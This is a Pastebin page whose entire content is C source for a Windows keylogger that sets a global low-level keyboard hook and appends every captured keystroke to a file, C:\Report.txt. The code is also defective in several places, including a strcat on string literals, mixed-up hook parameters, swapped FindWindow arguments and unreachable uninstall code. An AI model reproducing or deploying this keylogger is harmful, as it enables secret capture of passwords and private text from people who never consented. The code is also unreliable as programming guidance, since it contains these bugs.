Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <stdio.h>
- #include <string>
- HHOOK hHook;
- LRESULT CALLBACK keyboardhook(int nCode, WPARAM wParam, LPARAM lParam);
- HHOOK WINAPI SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
- BOOL WINAPI UnhookWindowsHookEx(HHOOK hHook);
- FILE *f1;
- HWND hYWnd ;
- LRESULT CALLBACK keyboardhook(int nCode ,WPARAM wParam, LPARAM lParam)
- {
- char ch;
- WORD w;
- UINT scan;
- strcat("C","\\Report.txt");
- if ((lParam & 0x4000000) && (wParam==HC_ACTION))
- {
- if ((wParam==VK_TAB)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
- {
- if (!(f1=fopen("C:\\Report.txt","a+")))
- {
- MessageBox(NULL, L"Cannot Open File", L"Error", MB_ICONWARNING);
- return 0;
- }
- if (wParam==VK_RETURN)
- {
- ch='\n';
- fwrite(&ch,1,1,f1);
- }
- else
- {
- BYTE ks[256];
- GetKeyboardState(ks);
- scan=0;
- ToAscii(wParam,scan,ks,&w,0);
- ch = char(w);
- fwrite(&ch,1,1,f1);
- if (wParam==VK_TAB)
- {
- ch='\n';
- fwrite(&ch,1,1,f1);
- }
- }
- }
- fclose(f1);
- }
- return (CallNextHookEx( hHook, nCode, wParam, lParam ));
- }
- BOOL InstallHook()
- {
- hYWnd = FindWindow(L"Untitled - Notepad", NULL);
- hHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)keyboardhook, NULL,hYWnd);
- if (hHook == NULL)
- {
- return 0;
- }
- return 1;
- }
- BOOL UninstallHook()
- {
- if ((hHook != NULL) && (UnhookWindowsHookEx(hHook) == TRUE))
- {
- hHook = NULL;
- return TRUE;
- }
- return FALSE;
- }
- int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow)
- {
- if (InstallHook() == FALSE)
- {
- MessageBox(0,L"Can not install hook!",L"Error", 0);
- return -1;
- }
- MessageBox(0,L"Install hook complete",L"Compelete",0);
- MSG msg;
- BOOL bRet;
- while((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return 0;
- MessageBox(0,L"Unstall hook complete",L"Compelete",0);
- UninstallHook();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement